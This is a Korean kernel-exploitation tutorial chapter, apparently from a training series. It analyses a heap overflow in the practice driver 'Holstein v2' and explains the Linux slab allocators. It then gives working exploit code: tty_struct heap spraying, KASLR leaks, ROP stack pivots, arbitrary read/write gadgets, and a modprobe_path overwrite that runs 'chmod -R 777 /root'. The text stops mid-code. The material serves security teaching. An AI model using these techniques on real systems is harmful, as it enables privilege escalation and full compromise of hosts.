이전 장에서는 Holstein 모듈의 Stack Overflow를 악용하여 권한 상승을 수행했습니다. Holstein 모듈의 개발자는 즉시 취약점을 수정하고 Holstein v2를 공개했습니다. 본 장에서는 개선된 Holstein 모듈 v2를 exploit 해보겠습니다.

패치 분석과 취약점 조사

먼저 Holstein v2를 다운로드하세요.
src 디렉터리에 있는 소스 코드를 확인하면, 이전과의 차이점은 module_readmodule_write의 2곳뿐이라는 것을 알 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");

if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");

if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}

return count;
}

스택 변수를 사용하지 않게 된 대신 g_buf의 값을 직접 읽고 쓸 수 있게 되었습니다. 물론 여전히 크기 검사가 없으므로 오버플로우가 존재합니다. 이번 취약점은 힙 오버플로우(Heap Overflow)가 됩니다.
g_bufmodule_open에서 할당되었습니다.

1
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);

BUFFER_SIZE는 0x400입니다. 그 이상의 값을 쓰면 어떻게 되는지 시도해 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
fatal("/dev/holstein");

char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

close(fd);
return 0;
}

실제로 프로그램을 실행해 봐도 다음과 같이 아무 일도 일어나지 않을 것입니다.

힙 오버플로우라도 죽지 않는다

애초에 Linux Kernel의 힙은 어떤 구조로 되어 있을까요?

슬랩 할당자(Slab Allocator)

커널에서도 사용자 공간과 마찬가지로 페이지 크기보다 작은 영역을 동적으로 할당하고 싶은 경우가 있습니다. 가장 간단한 할당자는 mmap처럼 페이지 크기 단위로 잘라내는 방법이지만, 불필요한 영역이 많아 메모리 리소스가 낭비됩니다.
사용자 공간에서의 malloc과 마찬가지로, 커널 공간에도 kmalloc이 준비되어 있습니다. 이는 커널에 탑재된 할당자를 이용하는데, 주로 SLAB, SLUB, SLOB 중 하나가 사용됩니다. 3종류는 완전히 독립되어 있지는 않고, 구현상 공통된 부분도 있습니다. 이 3가지를 묶어서 슬랩 할당자(Slab allocator)라고 부릅니다. 표기상으로는 Slab과 SLAB의 차이라서 헷갈리기 쉽습니다.

이제 각 할당자의 구현을 설명하겠지만, 어디까지나 exploit에서 중요한 부분만 짚고 넘어가겠습니다. 사용자 공간의 메모리 할당자와 마찬가지로 exploit에서 중요한 것은 다음 점입니다.

  • 할당하는 크기에 따라 청크가 어디서 잘려나오는지
  • 해제한 객체가 어떻게 관리되고, 이후 할당에서 재사용되는지

이 2가지를 중심으로 각 할당자의 구현을 살펴보겠습니다.

SLAB 할당자

SLAB 할당자는 역사적으로 가장 오래된 타입의 할당자입니다. Solaris 등에서 주로 사용되고 있습니다.
주요 구현은 /mm/slab.c에 정의되어 있습니다.

SLAB에는 다음과 같은 특징이 있습니다.

  • 크기에 따른 페이지 프레임의 구분 사용
    libc의 메모리 할당자와는 달리, 크기 대역에 따라 다른 페이지가 할당됩니다. 따라서 청크의 전후에는 크기 정보가 없습니다.
  • 캐시의 이용
    작은 크기에 대해서는 크기 대역별 캐시가 우선적으로 사용됩니다. 크기가 큰 경우나 캐시가 비어 있는 경우는 일반적인 할당이 사용됩니다.
  • 비트맵(index)을 사용한 해제 영역의 관리
    크기 대역에 따라 페이지 프레임이 바뀌기 때문에, 페이지 선두에 「그 페이지 중에서 특정 index의 영역이 해제되어 있는지」를 나타내는 비트 배열이 있습니다. libc의 malloc과 달리 linked list로는 관리하지 않습니다.

요약하면, 해제 영역은 다음과 같이 페이지 프레임마다 인덱스로 관리됩니다.

SLAB 할당자 그림

참고로 실제로는 캐시로서 엔트리가 몇 개 존재하며, 거기에 기재된 해제된 영역의 포인터가 우선적으로 사용됩니다.
그 외 __kmem_cache_create라는 캐시 생성 시의 플래그에 따라 다음과 같은 기능이 있습니다.

  • SLAB_POISON: 해제된 영역은 0xA5로 채워집니다.
  • SLAB_RED_ZONE: 객체의 뒤에 redzone이라는 영역이 추가되어, Heap Overflow 등으로 덮어써지면 감지됩니다.

SLUB 할당자

SLUB 할당자는 현재 기본값으로 사용되고 있는 할당자로, 거대한 시스템용입니다. 가능한 한 고속이 되도록 설계되어 있습니다.
주요 구현은 /mm/slub.c에 정의되어 있습니다.

SLUB에는 다음과 같은 특징이 있습니다.

  • 크기에 따른 페이지 프레임의 구분 사용
    SLAB과 마찬가지로 크기 대역에 따라 사용되는 페이지 프레임이 바뀝니다. 예를 들어 100바이트라면 kmalloc-128, 200바이트라면 kmalloc-256과 같이 전용 영역이 사용됩니다. SLAB과 달리 페이지 프레임의 선두에 메타데이터(해제 영역의 인덱스 등)는 없습니다. freelist의 선두 포인터 등은 페이지 프레임 디스크립터에 기재되어 있습니다.
  • 단방향 리스트를 이용한 해제 영역의 관리
    SLUB는 libc의 tcache나 fastbin처럼 단방향 리스트로 해제 영역을 관리합니다. 해제된 영역의 선두에는 이전에 해제된 영역에 대한 포인터가 기록되고, 마지막에 해제된 영역의 링크는 NULL이 됩니다. tcache나 fastbin과 같은, 링크 변조를 검사하는 보안 기구는 딱히 없습니다.
  • 캐시의 이용
    SLAB과 마찬가지로 CPU별 캐시가 있지만, 이쪽도 SLUB에서는 단방향 리스트로 되어 있습니다.

요약하면, 해제 영역은 다음과 같이 단방향 리스트로 관리됩니다.

SLUB 할당자 그림

SLUB에서는 커널 부팅 시의 slub_debug 매개변수에 문자를 주어 디버깅용 기능을 활성화할 수 있습니다.

  • F: sanity check를 활성화합니다.
  • P: 해제된 영역을 특정 비트열로 채웁니다.
  • U: 할당과 해제의 스택 트레이스를 기록합니다.
  • T: 특정 슬랩 캐시의 사용 로그를 기록합니다.
  • Z: 객체 뒤에 redzone을 추가하여 Heap Overflow를 감지합니다.

본 장을 포함해 이후로도 공격 대상 커널에서는 기본적으로 SLUB이 사용됩니다. 하지만 모든 프로그램이 힙을 공유하고 있는 이상, freelist를 파괴하는 공격은 현실적으로 잘 성립하지 않으므로 이 사이트에서는 다루지 않습니다. 앞으로 배울 공격 기법의 대부분이 다른 할당자에도 통용됩니다.

SLOB 할당자

SLOB 할당자는 임베디드 시스템용 할당자입니다. 가능한 한 경량화되도록 설계되어 있습니다.
주요 구현은 /mm/slob.c에 정의되어 있습니다.

SLOB 할당자에는 다음과 같은 특징이 있습니다.

  • K&R 할당자
    이른바 glibc malloc과 같은, 크기에 의존하지 않고 사용할 수 있는 영역을 선두부터 잘라 나가는 방식입니다. 영역이 부족해지면 새로운 페이지를 할당합니다. 그 때문에 매우 단편화가 발생하기 쉽습니다.
  • 오프셋에 의한 해제 영역의 관리
    glibc에서는 tcache나 fastbin처럼 해제 영역을 크기별로 리스트로 관리합니다. 반면 SLOB에서는 크기에 관계없이 모든 해제 영역이 순서대로 연결됩니다. 또한 리스트는 포인터를 가지는 것이 아니라, 그 청크의 크기와 다음 해제 영역에 대한 오프셋 정보를 가집니다. 이러한 정보는 해제된 영역의 선두에 기록됩니다. 할당할 때는 이 리스트를 따라가며 사용할 수 있는 크기를 찾으면 이용합니다.
  • 크기에 따른 freelist
    단편화를 억제하기 위해, free한 객체를 크기별로 연결하는 리스트가 몇 개 존재합니다.

요약하면, 해제 영역은 다음과 같이 크기와 오프셋에 의한 단방향 리스트로 관리됩니다. (해제된 영역에서 나가는 화살표는 포인터가 아니라 오프셋 정보로 되어 있습니다.)

SLOB 할당자 그림

Heap Overflow의 악용

SLUB에서는 크기별로 페이지를 구분해서 사용하고, 또한 단방향 리스트로 해제된 영역을 관리한다는 것을 배웠습니다.

도입 장에서도 설명했지만, 커널의 힙은 모든 드라이버 및 커널에서 공유됩니다. 따라서 하나의 드라이버 취약점을 사용하여 커널 공간의 다른 객체를 파괴할 수 있습니다. 이번 취약점은 Heap Overflow이므로, 악용하려면 오버플로우하는 영역 뒤에 무언가 파괴하고 싶은 객체가 존재해야 합니다.
Exploit에 익숙한 분이라면 바로 떠오르겠지만, 그러기 위해서는 Heap Spray가 편리합니다. 여기서는 Heap Spray를 다음 2가지 목적으로 사용할 수 있습니다.

  1. 이미 존재하는 freelist를 다 써버리기
    freelist에서 객체가 할당되어 버리면, 파괴하고 싶은 객체가 인접한다는 보장이 없습니다. 따라서 대상 크기 대역의 freelist를 미리 소비해야 합니다.
  2. 객체를 인접시키기
    freelist를 소비한 시점에서 객체가 인접할 가능성은 높지만, 할당자에 따라서는 페이지를 앞에서부터 소비해 나갈지 뒤에서부터 소비해 나갈지 알 수 없으므로, 어쨌든 Heap Overflow가 있는 객체의 앞뒤를 파괴하고 싶은 객체로 채웁니다.

다음으로 문제가 되는 것이 객체의 크기입니다. 다시 Holstein의 소스 코드를 보면, 할당되는 버퍼의 크기는 0x400임을 알 수 있습니다.

1
#define BUFFER_SIZE 0x400

0x400은 kmalloc-1024에 해당합니다. (시스템의 slab 정보는 /proc/slabinfo에서 볼 수 있습니다.)
따라서 파괴할 수 있는 객체도 기본적으로는 크기 0x400인 것이 됩니다. 공격 관점에서 사용할 수 있는 객체를 크기별로 정리한 글을 예전에 썼으니, 그쪽을 참조해 주십시오.[1]

이번 kmalloc-1024에서는 tty_struct라는 구조체를 사용할 수 있을 것 같습니다. tty_structtty.h에 정의되어 있으며, TTY에 관한 상태를 유지하기 위한 구조체입니다. 이 구조체의 크기는 kmalloc-1024에 해당하므로, 이번 취약점으로 범위 밖 읽기/쓰기가 가능합니다. 구조체의 멤버를 살펴봅시다.

1
2
3
4
5
6
7
8
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...

여기서 tty_operations는 그 TTY에 대한 조작을 정의하는 함수 테이블로 되어 있습니다.
다음과 같이 프로그램에서 /dev/ptmx를 여는 것으로 커널 공간에 tty_struct가 할당됩니다.

1
int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

이에 대해 read, writeioctl 등의 조작을 호출하면, tty_operations에 기재된 함수 포인터가 호출됩니다.

ROP를 통한 Exploit

필요한 지식은 모두 갖춰졌으니 권한 상승을 하는 exploit을 작성해 봅시다.

힙 오버플로우 확인

먼저 gdb를 사용하여 힙 오버플로우가 발생하는지 확인합시다. 동시에 Heap Spray도 확인하기 위해 다음과 같은 코드를 작성했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main() {
int spray[100];
for (int i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
fatal("/dev/ptmx");
}

// 주위에 tty_struct가 있는 위치에 할당시킴
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
fatal("/dev/holstein");

for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
fatal("/dev/ptmx");
}

// Heap Buffer Overflow
char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

getchar(); // 멈춤

close(fd);
return 0;
}

평소처럼 KASLR을 끄고 /proc/modules를 확인한 뒤, gdb로 attach하여 write 핸들러 근처에 브레이크포인트를 걸어 봅시다. g_buf의 주소를 알고 싶으므로 이하 명령의 직후에 브레이크포인트를 걸어 보았습니다.

브레이크포인트를 설치할 장소

브레이크포인트에서 버퍼와 그 주변을 확인하면, 다음과 같이 비슷한 구조의 객체가 주위에 존재하는 것을 알 수 있습니다.

gdb를 통한 Heap Spray 확인

이것이 바로 spray한 tty_struct 구조체이며, 이번에는 이 객체를 Heap Buffer Overflow로 파괴함으로써 권한 상승을 하는 exploit을 작성합니다. Heap Overflow가 발생한 후의 모습을 보면, 다음과 같이 g_buf 직후에 있는 tty_struct가 파괴되어 있는 것을 알 수 있습니다.

tty_struct의 파괴

KASLR 우회

Holstein v1에서는 보안 기구를 하나씩 우회해 나갔지만, 이번에는 단번에 모든 보안 기구(KASLR, SMAP, SMEP, KPTI)를 우회해 봅시다. (당연히 디버깅 시에는 KASLR을 비활성화해 주세요.)

그럼 이번 Heap Buffer Overflow는 쓰기뿐만 아니라 읽기도 가능하므로, tty_struct를 읽어서 KASLR 우회가 가능합니다. 예를 들어 tty_struct를 확인했을 때의 그림에서, 선두로부터 0x18바이트에 있는 포인터(ops)는 명백히 커널 공간의 주소이므로, 여기서부터 베이스 주소를 계산할 수 있습니다.

1
2
3
4
5
6
7
8
#define ofs_tty_ops 0xc38880
unsigned long kbase;
...
// KASLR 우회
char buf[0x500];
read(fd, buf, 0x500);
kbase = *(unsigned long*)&buf[0x418] - ofs_tty_ops;
printf("[+] kbase = 0x%016lx\n", kbase);

SMAP 우회: RIP 제어

커널의 베이스 주소를 알았으니, ops라는 함수 테이블을 덮어쓰면 RIP도 제어할 수 있을 것 같습니다. 하지만 실제로는 그렇게 간단하지 않습니다. ops는 함수 포인터가 아니라 함수 테이블이므로, RIP를 제어하기 위해서는 가짜 함수 테이블을 가리켜야 합니다.
만약 SMAP가 비활성화되어 있다면 사용자 공간에 가짜 함수 테이블을 준비하고, 그 포인터를 ops에 쓰면 성공합니다. 하지만 이번에는 SMAP가 유효하므로 사용자 공간의 데이터는 참조할 수 없습니다.

그럼 어떻게 SMAP를 우회할까요?
우리가 커널 공간에 데이터를 쓸 수 있는 곳은 힙이므로, 힙의 주소를 릭할 필요가 있습니다. gdb에서 tty_struct를 보면, 힙 주소 같은 포인터를 몇 개 확인할 수 있습니다.

tty_struct의 모습

특히 오프셋 0x38 근처의 포인터는 바로 이 tty_struct의 내부를 가리키고 있습니다[2]. 이 포인터로부터 tty_struct의 주소를 얻을 수 있고, 거기서 0x400을 빼면 g_buf의 주소를 계산할 수 있습니다. g_buf의 내용은 조작 가능하므로, 여기에 함수 테이블 ops를 배치하고, Heap Overflow로 ops를 덮어씁니다.
덮어씌워진 tty_struct에 대해 적절한 조작을 하면 RIP를 제어할 수 있지만, 어느 tty_struct인지 알 수 없으므로 spray한 모든 FD에 조작을 수행합시다. 또한 호출되는 함수 포인터의 위치를 모르기 때문에, 적당한 함수 테이블을 만들고 호출되는 함수 포인터의 위치를 크래시 메시지로부터 특정합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// g_buf 주소 릭
g_buf = *(unsigned long*)&buf[0x438] - 0x438;
printf("[+] g_buf = 0x%016lx\n", g_buf);

// 가짜 함수 테이블 쓰기
unsigned long *p = (unsigned long*)&buf;
for (int i = 0; i < 0x40; i++) {
*p++ = 0xffffffffdead0000 + (i << 8);
}
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// RIP 제어
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}

다음과 같이 RIP를 얻었다면 성공입니다.

tty_struct 덮어쓰기로 RIP 제어 성공

또한 이번에는 ioctl을 사용했는데, 0xffffffffdead0c00에서 크래시되었으므로 ioctl에 대응하는 함수 포인터는 0xC(=12)번째에 있다는 것도 알 수 있었습니다.

SMEP 우회: Stack Pivot

지난 Stack Overflow 때와 마찬가지로, RIP를 얻었다면 ROP로 SMEP를 우회할 수 있습니다. SMEP가 없다면 당연히 ret2usr로 충분하지만, SMEP를 우회하는 것만이라면 예를 들어 다음과 같은 gadget을 사용할 수 있습니다.

1
0xffffffff81516264: mov esp, 0x39000000; ret;

미리 유저 영역의 0x39000000을 mmap으로 확보해두고 ROP chain을 써둔 뒤, 위 gadget을 호출하면 stack pivot이 되어 유저 영역에 설치한 ROP chain이 실행됩니다.
하지만 이번에는 SMAP가 유효하므로 유저 영역에 둔 ROP chain은 실행할 수 없습니다. 다행히도 제어 가능한 커널 영역(힙)의 주소를 알고 있으므로, 가짜 함수 테이블과 함께 힙 상에 ROP chain을 쓰고 그것을 실행시킵시다.

힙 상의 ROP chain을 실행하려면 스택 포인터 rsp를 힙 주소로 가져올 필요가 있습니다. 조금 전 예시에서

1
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);

를 실행했습니다만, 이때 크래시 메시지를 다시 살펴보면, 다음과 같이 ioctl의 인수가 일부 레지스터에 들어있는 것을 알 수 있습니다.

1
2
3
4
5
6
RCX: 00000000deadbeef
RDX: 00000000cafebabe
RSI: 00000000deadbeef
R08: 00000000cafebabe
R12: 00000000deadbeef
R14: 00000000cafebabe

즉, ioctl의 인수로 ROP chain의 주소를 넘기고, mov rsp, rcx; ret;와 같은 gadget을 부르면 ROP를 할 수 있다는 것을 알 수 있습니다.

늑대군

writeread의 인수는, 버퍼 주소가 유저 랜드 범위인지 확인되거나, 크기가 너무 크면 핸들러가 호출되지 않거나 해서, 커널 힙으로의 stack pivot에는 사용할 수 없는 경우가 많아.

아무리 커널이라도 mov rsp, rcx; ret; 같은 정직한 gadget은 찾기 어렵지만, push rcx; ...; pop rsp; ...; ret; 같은 gadget은 높은 확률로 존재하므로, 이 형태를 찾으면 찾기 쉬울지도 모릅니다. 이번에는 다음 gadget을 사용합니다.

1
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;

일단 ROP chain에 도달하는지 확인해 봅시다. 아래 예시에서는 ROP chain의 0xffffffffdeadbeef에서 크래시되면 성공입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 가짜 함수 테이블 쓰기
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp;
*(unsigned long*)&buf[0x418] = g_buf;

// ROP chain 준비
p[0] = 0xffffffffdeadbeef;

// Heap Buffer Overflow
write(fd, buf, 0x420);

// RIP 제어
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); // r13, rbp의 분량을 뺌
}

권한 상승

자, 이제 ROP를 하기만 하면 되는데, 지금 p[12]는 함수 포인터로 사용해 버렸으므로, 그곳만 pop 등으로 건너뛰어 줍시다. 혹은 함수 테이블을 ops 뒤로 옮기고 g_buf는 ROP chain 전용으로 쓰는 방법 등도 상관없습니다.

자신이 좋아하는 방법으로 ROP를 작성해 봅시다. ROP가 올바르게 작동하면 KASLR, SMAP, SMEP, KPTI 모두 유효해도 권한 상승할 수 있을 것입니다.
exploit 예시는 여기에서 다운로드할 수 있습니다.

권한 상승에 성공한 모습

AAR/AAW를 이용한 Exploit

방금 전 예에서는 push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;라는 stack pivot gadget을 이용했습니다. 직접 gadget을 찾은 사람도 비교적 복잡한 gadget밖에 찾지 못했을 것이라고 생각합니다. 이번처럼 1회의 RIP 제어로 stack pivot이 가능한 gadget이 반드시 존재한다고는 할 수 없습니다. stack pivot이 불가능할 때는 어떻게 하면 좋을까요?

이런 상황에서도 높은 확률로 발견되는 gadget을 이용하여 안정적인 exploit을 작성하는 기법이 있습니다. 다시 한번 RIP를 제어했을 때의 레지스터 상태를 살펴봅시다.

1
2
3
4
5
6
7
8
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);

RCX: 00000000deadbeef
RDX: 00000000cafebabe
RSI: 00000000deadbeef
R08: 00000000cafebabe
R12: 00000000deadbeef
R14: 00000000cafebabe

이번에는 함수 포인터 덮어쓰기, 즉 call 명령으로 RIP를 제어하고 있으므로, ret으로 끝나는 명령으로 점프하면 문제없이 ioctl 처리가 종료되고 유저 랜드로 돌아옵니다. 그럼 다음과 같은 gadget을 호출하면 무엇을 할 수 있을까요?

1
0xffffffff810477f7: mov [rdx], rcx; ret;

지금 rdx도 ecx도 제어 가능하므로, 이 gadget을 호출하면 임의의 주소에 임의의 4바이트 값을 쓸 수 있습니다. 이러한 mov gadget은 꽤 높은 확률로 존재합니다. 즉, 함수 포인터에 의한 RIP 제어가 가능한 상황에서는 AAW primitive를 만들 수 있는 것입니다.
그럼 다음 gadget의 경우는 어떨까요?

1
0xffffffff8118a285: mov eax, [rdx]; ret;

이 경우, 임의의 주소에 쓰인 4바이트 값을 ioctl의 반환값으로 얻을 수 있습니다. (ioctl의 반환값은 int형이므로 1번에 4바이트까지 취득 가능.) AAR primitive도 만들 수 있다는 것을 알았습니다.

그럼 커널 공간에서 임의 주소 읽기/쓰기가 있을 때, 무엇을 할 수 있을까요?

modprobe_path와 core_pattern

Linux 커널에 어떤 처리를 의뢰했을 때, 커널에서 유저 공간의 프로그램을 실행시키고 싶을 때가 있습니다. 이럴 때 Linux에서는 call_usermodehelper라는 함수가 사용됩니다. call_usermodehelper가 사용되는 처리는 몇 가지가 있지만, 유저 공간에서 특권 없이 호출할 수 있는 대표적인 경로로 modprobe_pathcore_pattern이 있습니다.

modprobe_path__request_module이라는 함수에서 호출되는 커맨드 문자열로, 쓰기 가능 영역에 존재합니다.
Linux에는 실행 파일 형식이 여러 개 공존하고 있어, 실행 권한이 있는 파일이 실행되면 파일의 첫 바이트 열 등에서 형식을 판별합니다. 표준에서는 ELF 파일과 shebang이 등록되어 있는데, 이렇게 등록된 형식에 매치되지 않는 알 수 없는 실행 파일이 호출되려고 할 때 __request_module이 사용됩니다. modprobe_path에는 표준으로 /sbin/modprobe가 적혀 있으며, 이것을 덮어쓴 뒤 올바르지 않은 형식의 실행 파일을 실행하려고 하면 임의의 커맨드가 실행 가능합니다.

비슷하게 커널에서 실행되는 커맨드로 core_pattern이 있습니다. core_pattern은 유저 공간의 프로그램이 크래시했을 때 do_coredump에서 호출되는 커맨드 문자열입니다. 정확히는 core_pattern의 문자열이 파이프 문자 |로 시작할 때 이어지는 커맨드가 실행됩니다. 예를 들어 Ubuntu 20.04에서는 표준으로 다음과 같은 커맨드가 사용됩니다.

1
|/usr/share/apport/apport %p %s %c %d %P %E

커맨드가 설정되어 있지 않은 경우는 단순히 core라는 문자열이 들어갑니다. (이것이 코어 덤프의 이름이 됩니다.) core_pattern을 AAW로 덮어쓰면 유저 공간의 프로그램이 크래시했을 때 특권으로 외부 프로그램을 호출할 수 있으므로, 일부러 크래시하는 프로그램을 실행하면 권한 상승할 수 있습니다.

늑대군

변수의 주소는 FGKASLR의 영향을 받지 않으니까, FGKASLR가 유효한 경우에도 사용할 수 있겠네.

이번에는 modprobe_path를 덮어씀으로써 권한 상승을 해 봅시다. 우선 modprobe_path의 장소를 찾을 필요가 있지만, 심볼 정보가 있는 경우는 kallsyms 등에서 찾아주세요. 이번 커널에서는 심볼 정보를 남기지 않았으므로 스스로 특정할 필요가 있습니다. core_pattern 때도 마찬가지지만, vmlinux에서 문자열을 찾는 방법이 가장 간단할 것입니다. [3]

1
2
3
4
5
$ python
>>> from ptrlib import ELF
>>> kernel = ELF("./vmlinux")
>>> hex(next(kernel.search("/sbin/modprobe\0")))
0xffffffff81e38180

gdb로 확인하면, 확실히 /sbin/modprobe가 존재하는 것을 알 수 있습니다.

1
2
pwndbg> x/1s 0xffffffff81e38180
0xffffffff81e38180: "/sbin/modprobe"

주소를 알았으므로 AAW로 덮어써 봅시다. 안정된 AAR/AAW가 있을 때는 함수처럼 호출할 수 있도록 exploit을 설계하면 편리합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void AAW32(unsigned long addr, unsigned int val) {
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_mov_prdx_rcx;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// mov [rdx], rcx; ret;
for (int i = 0; i < 100; i++) {
ioctl(spray[i], val /* rcx */, addr /* rdx */);
}
}
...
char cmd[] = "/tmp/evil.sh";
for (int i = 0; i < sizeof(cmd); i += 4) {
AAW32(addr_modprobe_path + i, *(unsigned int*)&cmd[i]);
}

위의 예에서는 알 수 없는 형식의 실행 파일이 실행되려고 할 때 /tmp/evil.sh가 호출되게 됩니다. 따라서 /tmp/evil.sh에는 실행하고 싶은 처리를 적습니다. 이번에는 다음 스크립트를 준비했습니다.

1
2
#!/bin/sh
chmod -R 777 /root

마지막으로 적당한 실행 파일을 준비해서 실행하면 완료입니다.

1
2
3
4
5
system("echo -e '#!/bin/sh\\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("echo -e '\\xde\\xad\\xbe\\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn"); // modprobe_path의 호출

exploit이 성공하면 임의의 커맨드가 root 권한으로 실행된 것을 알 수 있습니다.

modprobe_path에 의한 권한 상승

이 exploit은 여기에서 다운로드할 수 있습니다.

cred 구조체

이전 장에서 설명한 것처럼, 프로세스의 권한은 cred 구조체로 관리됩니다. cred 구조체에는 그 프로세스의 실효 유저 ID 등이 기재되어 있으므로, 자신의 프로세스의 cred 구조체 각종 ID를 root(=0)로 덮어쓰면 권한 상승할 수 있습니다. 그럼 어떻게 해서 자기 프로세스의 cred 구조체 주소를 가져오는 것일까요?

오래된 Linux 커널의 경우, current_task라는 전역 심볼이 있어 여기에 현재 컨텍스트의 프로세스의 task_struct 구조체에 대한 포인터가 기재되어 있었습니다. 그 때문에 AAR/AAW를 가지고 있을 때는 task_struct에서 cred를 따라가 간단히 권한 상승할 수 있었습니다.
하지만 최근 버전에서는 current_task는 전역 변수로서는 폐지되고, 대신 CPU별 공간에 저장되어 gs 레지스터를 사용해 접근하도록 되어 있습니다. 그 때문에 프로세스의 cred 구조체를 직접 찾을 수는 없지만, AAR를 가지고 있을 때는 비교적 간단히 실현할 수 있습니다. 커널의 힙 영역은 그렇게 넓지 않기 때문에, Kernel Exploit에서는 힙을 전수 조사하여 cred 구조체를 찾을 수 있습니다. 이번에 힙 주소를 이미 알고 있기 때문에 이것이 실현 가능합니다. 즉, 다음과 같은 코드로 권한 상승이 가능합니다. (이번에는 ioctl로 한 번에 최대 4바이트 읽을 수 있으므로, 4바이트마다 조사하고 있습니다.)

1
2
3
4
5
6
for (u64 p = heap_address; ; p += 4) {
u32 leak = AAR_32bit(p); // AAR
if (looks_like_cred(leak)) { // cred 구조체 같음
memcpy(p + XXX, 0, YYY); // 실효 UID 덮어쓰기
}
}

문제는 어떻게 자신의 프로세스의 cred 구조체를 찾는가입니다. 여기서 task_struct 구조체의 멤버를 다시 봅니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct task_struct {
...
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

...
}

주목했으면 하는 것은 comm이라는 변수입니다. 여기에는 프로세스의 실행 파일 이름이 최대 16바이트 저장됩니다. 이 값은 prctlPR_SET_NAME 플래그로 변경할 수 있습니다.

1
2
3
4
PR_SET_NAME (since Linux 2.6.9)
Set the name of the calling thread, using the value in the location pointed to by (char *) arg2. The name can be up to 16 bytes long, including the terminating null byte. (If the
length of the string, including the terminating null byte, exceeds 16 bytes, the string is silently truncated.) This is the same attribute that can be set via pthread_setname_np(3)
and retrieved using pthread_getname_np(3). The attribute is likewise accessible via /proc/self/task/[tid]/comm, where tid is the name of the calling thread.

따라서 커널 중에 없을 법한 문자열을 comm에 설정하고, 그것을 AAR로 찾으면 되는 것입니다. task_struct 구조체의 정의를 보면 comm 앞에 cred 구조체에 대한 포인터가 있으므로, 여기서부터 자신의 프로세스 권한 정보를 덮어쓸 수 있습니다.

늑대군

이 방법은 AAR/AAW만 가지고 있다면 ROP gadget이나 함수 오프셋에 의존하지 않는 exploit을 짤 수 있으니까, 여러 환경에서 안정적으로 동작하는 exploit을 쓰고 싶은 경우에는 편리해.

원리를 알았으니, 실제로 이 기법으로 권한 상승을 구현해 봅시다. AAR은 정직하게 구현해도 상관없습니다만, 이번처럼 대량으로 호출할 때 매번 spray한 tty_struct 전부를 시도하는 것은 시간이 걸리므로, 첫 호출에서 fd를 캐시하도록 했습니다. 또한 ROP gadget을 쓰는 write도 처음 한 번만 하면 되므로, 2회째 이후는 호출하지 않음으로써 대폭 exploit을 고속화할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int cache_fd = -1;

unsigned int AAR32(unsigned long addr) {
if (cache_fd == -1) {
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_mov_eax_prdx;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
}

// mov eax, [rdx]; ret;
if (cache_fd == -1) {
for (int i = 0; i < 100; i++) {
int v = ioctl(spray[i], 0, addr /* rdx */);
if (v != -1) {
cache_fd = spray[i];
return v;
}
}
} else {
return ioctl(cache_fd, 0, addr /* rdx */);
}
}

다음으로, task_struct가 힙상의 어디에 존재하는지 알 수 없으므로, g_buf의 주소보다 꽤 앞에서부터 탐색하도록 합시다. gdb로 확인한 결과 0x200000 정도 앞에 존재했습니다만, 환경이나 힙 사용 상황에 따라 다르므로 범위는 크게 잡습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// task_struct 탐색
if (prctl(PR_SET_NAME, "nekomaru") != 0)
fatal("prctl");
unsigned long addr;
